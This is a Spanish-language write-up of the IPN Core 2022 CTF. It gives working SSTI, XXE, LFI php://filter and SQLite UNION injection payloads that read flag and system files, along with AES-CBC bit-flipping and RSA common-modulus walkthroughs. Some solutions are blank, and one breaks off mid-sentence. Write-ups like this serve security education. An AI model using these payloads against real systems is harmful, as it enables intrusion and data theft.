Saltar a contenido

IPN Core 2022 CTF

Índice

Resumen de vulnerabilidades

  • SSRF
  • SSTI
  • XXE
  • LFI + php filters
  • SQLi
  • AES CBC Bit Flipping
  • RSA Common Modulus

Web

Pentest web Parte 1

Info

Atributo Valor
Descripción Uhmm no necesitas contexto...
Archivos web_pentest_web_1.zip

Solución

Al interactuar con la página web, se puede visualizar en el código fuente un comentario que indica el lugar donde se encuentra ubicada la bandera.

Ubicación de bandera

Tomando en cuenta esto, se pudiera sospechar de algún tipo de inclusión de archivos locales o algo por el estilo. Continuando con la interacción del sitio se puede visualizar una excepción del método fopen de php el cuál esta recibiendo el contenido del input disponible.

Excepción de fopen

Si se busca en el manual de php acerca de la función, se puede visualizar que esta recibirá como parámetro una ruta de un directorio, por lo que si se emplea un archivo existente como /flag.txt se podrá visualizar su contenido, realizando la petición con curl o a través de algún proxy como BurpSuite.

Contenido de flag.txt

Flag: CTF{9700cbd3cd4dc8c2010953ca1a029bd0}

Pentest web Parte 2

Info

Atributo Valor
Descripción Uhmm nop, no necesitas descripción... ¿o sí?
Archivos web_pentest_web_2.zip

Solución

Se puede visualizar un input el cuál al enviar/completar la petición se refleja nuestro contenido.

Contenido de input reflejado

Al tratar de reconocer las tecnologías que "hostean" el reto, se pudieron identificar por las cabeceras de las respuestas del servidor la versión de una librería y versión de Python (Werkzeug/2.2.2 Python/3.8.14).

Versión de Python

Al identificar esto, lo primero que pudiera llegarse a considerar es que el código HTML este siendo pre-procesado por esta librería de Python. En el proceso de ese pre-procesamiento se pueden encontrar vulnerabilidades de inyección de plantillas (SSTI), por lo que al hacer uso de {{7*7}} en el campo de nombre se pudo validar que se trataba de esto en cuestión.

Inyección

Utilizando el siguiente payload se podía leer la bandera:

{{ request.__class__._load_form_data.__globals__.__builtins__.open("/flag.txt").read() }}

Inyección

Flag: CTF{d4bac92d0e15c50d3431043e27c62163}

Pentest web Parte 3

Info

Atributo Valor
Descripción Es divertido el pentest web desde Blackbox ¿no? :)
Archivos web_pentest_web_3.zip

Solución

Al entrar en la web se visualizan dos enlaces en los cuales, en uno de ellos nos revela la ubicación de la flag (/flag) y en el otro nos permite interactuar con un submit brindándonos una caja de texto en la que podamos mandar un saludo (/rest). Al mandar una prueba se puede visualizar una excepción relacionada con XML.

Excepción XML

A lo que lleva a concluir de una vulnerabilidad de tipo XXE, al buscar y encontrar el siguiente payload:

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/flag.txt"> ]>
<data>&example;</data>

Se pudo obtener la bandera incluyendo el archivo y desplegando el archivo indicado.

Inclusión de bandera

Flag: CTF{e4b50e71a8f7ec1f5c3b8db6a91ce2ff}

CIC Blog

Info

Atributo Valor
Descripción ¿Qué tal? Estoy por terminar mi blog y un colega de {|4_p4nd1||4_m4nt3q1||4} me hizo favor de revisar el sitio, había encontrado algo pero aún no termina. Mientras tanto me gustaría saber que encontró, ¿me ayudas también a revisarlo?
Archivos web_cic_blog.zip

Solución

Al buscar información dentro del código fuente se puede visualizar un wrapper de contenido dentro de la barra lateral izquierda, indicando mediante el parámetro page la página a cargar.

Inclusión de archivos

Al realizar una prueba para buscar incluir un archivo de sistema se puede visualizar su contenido /wrapper.php?page=/etc/passwd:

Inclusión passwd

Posteriormente, al no encontrar la bandera dentro de la raíz del sistema (/flag.txt o algo similar), se buscó fuzzear el sitio para ver si se encontraba información al respecto.

ffuf -c -ic -u "http://192.168.111.153:8000/FUZZ" -w /usr/share/wordlists/dirb/common.txt

Fuzzing

Encontrando así varias entradas incluyendo robots.txt, la cual exponía mediante una regla de Disallow la ruta de la bandera.

robots.txt

Al incluir la ruta de la bandera se podía procesar su contenido /wrapper.php?page=/var/www/flag.php mencionando como pista "pensar en algo diferente".

flag.php

Dado que los archivos php son procesados del lado del servidor y no se puede visualizar su contenido, fue necesario usar un filtro de php para poder extraer su contenido real, mediante la petición:

/wrapper.php?page=php://filter/convert.base64-encode/resource=/var/www/flag.php

Extrayendo así el contenido del archivo encodeado en base64, para después desencodearlo y así encontrar el valor de la bandera.

flag.php

echo "PHN0eWxlPgogICAgLnBlcnJpbiB7CiAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggcmVkOwogICAgfQo8L3N0eWxlPgo8ZGl2IGNsYXNzPSJtYWluLXdyYXBwZXIiPgo8aDEgY2xhc3M9InBlcnJpbiI+QWggcGVycmluIGxlIHNhYmVzIGFsIExGSTwvaDE+CjxoMiBjbGFzcz0icGVycmluIj5ObyBjcmVhcyBxdWUgdmEgYSBzZXIgdGFuIGbDoWNpbCBvYnRlbmVyIHR1IGZsYWc8L2gyPgo8P3BocAogICRmbGFnID0gIkxQTXs0aF9wM3JyMW5fbGYxXzRfN2gzX3cxbn0iOwoJZWNobygiwr9ZYSBwZW5zYXN0ZSBlbiBhbGdvIGRpZmVyZW50ZT8iKTsKPz4KPC9kaXY+" | base64 -d

flag.php desencodeado

Flag: LPM{4h_p3rr1n_lf1_4_7h3_w1n}

Tacos Don Chano

Info

Atributo Valor
Descripción Me hice la promesa de ya entrar a mis clases de desarrollo web y le hice a mi tío Chano un sitio para que que pueda gestionar sus órdenes de tacos, pero de un momento a otro se ha estado comportando medio raro... y estoy teniendo errores inesperados, ¿qué crees que pueda estar mal?
Archivos web_tacos_don_chano.zip

Solución

Se permite interactuar con el sitio mediante un input que en resumen manda una petición a /orden.php?id=1 indicando el supuesto id de la orden de tacos, modificando el id se pueden visualizar todas las órdenes disponibles en la plataforma la cuál se puede sospechar que está interactuando con una base de datos.

Enviando algún caracter diferente a un número (/orden.php?id=') se puede visualizar una excepción de SQL de la cuál se expone la versión/tipo de base de datos (SQLite3), dando paso a sospechar que se trata de una inyección SQL.

Excepción SQL

Por lo que se podría automatizar el proceso con sqlmap o hacer a mano mediante:

  1. Identificación de número de columnas.
/orden.php?id=1 UNION SELECT 1,2,3-- -

Número de columnas

  1. Identificación de columnas que permitan caracteres.
/orden.php?id=1 UNION SELECT 'a','a','a'-- -

Columnas con caracteres

  1. Identificación de tablas.
/orden.php?id=1 UNION SELECT (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),'a','a'-- -

Y:

/orden.php?id=1 UNION SELECT (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1),'a','a'-- -

Para identificar otras tablas.

Identificación de otras tablas

  1. Identificación de nombre de columnas en tabla identificada (opcional).
/orden.php?id=1 UNION SELECT (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'),'a','a'-- -

Columnas de tabla

  1. Extracción de valores.
/orden.php?id=1 UNION SELECT (SELECT * FROM flag),'a','a'-- -

Extracción de valores

Flag: LPM{54l3n_2_d3_5u4p3rr0_p4r4_3l_j0v3n}

Crypto

Encoding

Info

Atributo Valor
Descripción ¿Qué tanto sabes de encoding?
Archivos crypto_encoding.txt

Solución

Después de pasar el texto obtenido a Cyberchef se obtuvo el resultado de la receta.

Valor de bandera

Flag: LPM{3nc0ding_iS_b4sIc}

Esoteric0

Info

Atributo Valor
Descripción ¡¡Esto es del diablo!! ¿puedes recuperar la flag?
Archivos crypto_esoteric.txt

Solución

Después de repasar el nombre y la descripción se pudo identificar que se trataba de un lenguaje de programación esotérico y partiendo directamente de la descripción va acorde a la descripción que se puede leer en el lenguaje Malbolge. Por lo que al usar un intérprete de este lenguaje se puede obtener el valor de la bandera pegando el contenido proporcionado y ejecutando el programa.

Valor de bandera

Flag: LPM{3Xel3ntE_C0noC3s_LaS_4rTes_0scUr4s}

AESy

Info

Atributo Valor
Descripción ¿Podrás romper la cookie y obtener acceso como admin?
Archivos crypto_aesy_chall.py

Solución

Realizando un análisis al código fuente se identificó que al realizar el proceso de login se genera una cookie de sesión compuesta por 64 caracteres (en hexadecimal), de los cuales la mitad corresponde al iv que es utilizado en el proceso de cifrado y descifrado de la aplicación. Y la otra mitad a lo cifrado del usuario según las siguientes líneas de código:

Creación de cookie

  1. Método de cifrado invocado.
  2. Retorno de valor iv + texto cifrado.

Al buscar vulnerabilidades con el método empleado de AES CBC se encontró el blog y el video en donde se explica la razón de la vulnerabilidad que parte de conocer los bytes correspondientes del iv y los bytes de lo cifrado.

Dado que el proceso de AES CBC hace uso de XOR y se nos proporciona el resultado, en resumen bastaría en calcular el byte correspondiente de sólo una de las letras dado que espera obtener admin. Extrayendo la cookie de sesión generada con bdmin por medio de /login?username=bdmin se obtiene 53456027e7f7e1022fa753f620aeac956f8b13fcc80f33b5a5b6feb140b2878f.

Cookie obtenida

Cookie obtenida: 53456027e7f7e1022fa753f620aeac956f8b13fcc80f33b5a5b6feb140b2878f

IV (cookie): 53456027e7f7e1022fa753f620aeac95

Cifrado (cookie): 6f8b13fcc80f33b5a5b6feb140b2878f

Tomando en cuenta el proceso que sigue AES CBC lo que se necesitaría sería encontrar el valor del iv correspondiente para cambiar la b por a de dmin para ello se debería seguir:

Primer byte correspondiente de IV: 53
Primer byte correspondiente de lo cifrado: 6f
Valor de b en hexadecimal: 62

53 ^ (6f)? = 62

Para encontrar el valor correspondiente de lo cifrado se realiza el siguiente XOR:

53 ^ 62 = 31

Por lo tanto se puede decir que:

53 ^ 31 = 62

Conociendo este valor se puede buscar el varlo de IV que produciría a (61 en hexadecimal):

? ^ 31 = 61

De acuerdo a las propiedades el XOR se podría realizar la siguiente operación para encontrar el segmento faltante:

31 ^ 61 = ? (50)

Por lo tanto se puede decir que:

50 ^ 31 = 61

Tomando en cuenta lo anterior se podría sustituir el primer byte del iv de la cookie por 50 para obtener así la bandera.

Obtención de bandera

Flag: LPM{c0nOc3sl4||4v3_c13rt0?}

RealBabyRSA

Info

Atributo Valor
Descripción RSA... ¡que común!
Archivos crypto_real_baby_rsa_output.txt crypto_real_baby_rsa_reto.py

Solución

Después de visualizar el código fuente y buscar un resumen de los ataques a RSA se puede percatar que ambos valores de la salida:

ct1=pow(FLAG,e1,n)
ct2=pow(FLAG,e2,n)

Estan usando el mismo módulo para las operaciones, por lo que al buscar dentro del resumen antes indicado se encontró este artículo en donde se detalla un escenario similar y explica en dónde radica la vulnerabilidad, además de brindar el código fuente de la solución. Por lo que al hacer uso del script se obtiene la bandera.

Obtención de bandera

Flag: LPM{P3rf3ctO!_c0N0c3s_Rs4_y_Sus_vuln3r4b1l1d4d3zzzz}

Baby-FA

Info

Atributo Valor
Descripción ¿Seguirás el camino fácil?
La flag es en minúsculas
Archivos crypto_baby_fa.txt

Solución

Al identificar el formato de la bandera al final del texto por deducción:

pkca: ksn{efliaetkag_hctekejcjag_ja_cfckegeg}
flag: lpm{efliaetkag_hctekejcjag_ja_cfckegeg}

Se concluyó que era algún tipo de sustitución por lo que se utilizó esta receta de cyberchef.

Obtención de bandera

Flag: lpm{increibles_habilidades_de_analisis}

Reversing

T3SLA

Info

Atributo Valor
Descripción Cadena fue de visita a la ESCOM en su nuevo Tsl4. Pero olvidó sus llaves en el laboratorio de redes y estará cerrado hasta mañana por el paro :( . Por suerte tu eres su amigo y le ayudarás a abrir el auto. Lo primero será revisar el firmware buscando la función encargada de validar la llave.
Archivos reversing_t3sla_chall

Solución

Al pasar el binario por ghidra y ver la función indicada (chequeo) se pueden visualizar múltiples variables con valores hexadecimales, al convertir los valores se puede extraer la bandera, considerando que la distribución de los valores se encuentra en little-endian:

Variables en hexadecimal

Conversión de hexadecimal a ascii

Flag: flag{Fl4G_0cULtA-R3vErS1n}

T3SLA - Parte 2

Info

Atributo Valor
Descripción Cuando la llave se comunica con el auto lo primero que hace es enviar una clave de 4 dígitos (que llegan a la función de chequeo como los primeros 4 parámetros). ¿Cuáles son esos 4 dígitos correctos?
La flag es: flag{EncontrasteMiPin=PIN} Reemplazando PIN por los 4 dígitos correctos.
NOTA: Para este reto deberás utilizar los mismo archivos del reto T3SLA
Archivos -

Solución

Posteriormente en la misma función de chequeo se verifican el PIN 1 a 1 respecto los argumentos recibidos, completando así el PIN que se verifica.

Validación de PIN

Flag: flag{EncontrasteMiPin=7395}

T3SLA - Parte 3

Info

Atributo Valor
Descripción Ahora que conocemos el PIN, lo único que nos resta para poder abrir el auto es conocer el password que se envía junto a la clave de 4 dígitos. Esta password la lee la misma función de chequeo. La flag es la password.
ej. flag{PASSWORD}
NOTA: Para este reto deberás utilizar los mismo archivos del reto T3SLA
Archivos -

Solución

Dándole seguimiento al código fuente obtenido, se puede ver que:

  1. Se realiza una validación respeto al tamaño de la variable donde será almacenada la contraseña, validando que sea de 28 caracteres (0x1c).
  2. Del valor que se pone se realiza un XOR de cada uno de sus elementos.
  3. Se realiza otra validación en memoria si

Flag: flag{}

Pwning

BabyPWN

Info

Atributo Valor
Descripción Este es otro reto de PWN más, pero no te apures te estaré guiando :)
El primer paso para conseguir RCE es buscar algún bug de corrupción de memoria que nos permita tomar control del flujo de ejecución.
¡Suerte!
Archivos pwn_babypwn_chall pwn_babypwn_chall.c

Solución

BabyPWN - Parte 2

Info

Atributo Valor
Descripción Para mala suerte la función cuenta con un mecanismo de seguridad conocido como stack canary que es una variable en la pila con un valor que si se modifica entonces el programa sabe que esta bajo un posible ataque. La buena noticia es que este stack canary tiene siempre el mismo valor. Esta vez, cuando hagas el overflow asegúrate de escribir sobre el stack canary el valor correcto.
NOTA: Para este reto deberás utilizar los mismo archivos del reto BabyPWN
Archivos -

Solución

BabyPWN - Parte 3

Info

Atributo Valor
Descripción Como último paso necesitamos controlar ese flujo de ejecución; por suerte, el programa imprime la cadena que le dimos usando la función system y como parámetro le pasa una cadena que almacena... ¡¡¡EN LA PILA!!!, por lo que con nuestro overflow podremos modificar ese argumento para ejecutar system con lo que nosotros queramos ¡Suerte! :)
NOTA: Para este reto deberás utilizar los mismo archivos del reto BabyPWN
Archivos -

Solución

Misc

Bot Calculadora

Info

Atributo Valor
Descripción Acabamos de descubrir e implementar una característica de Node.js del módulo vm y creamos una calculadora para usarlo, échale un lente crack.
NOTA: ÉSTE RETO TIENE PUNTAJE DINÁMICO, MIENTRAS MÁS PERSONAS LO RESUELVAN EL PUNTAJE IRÁ DISMINUYENDO
https://t.me/node_vm_bot
Archivos misc_bot_bot_calculadora.zip

Solución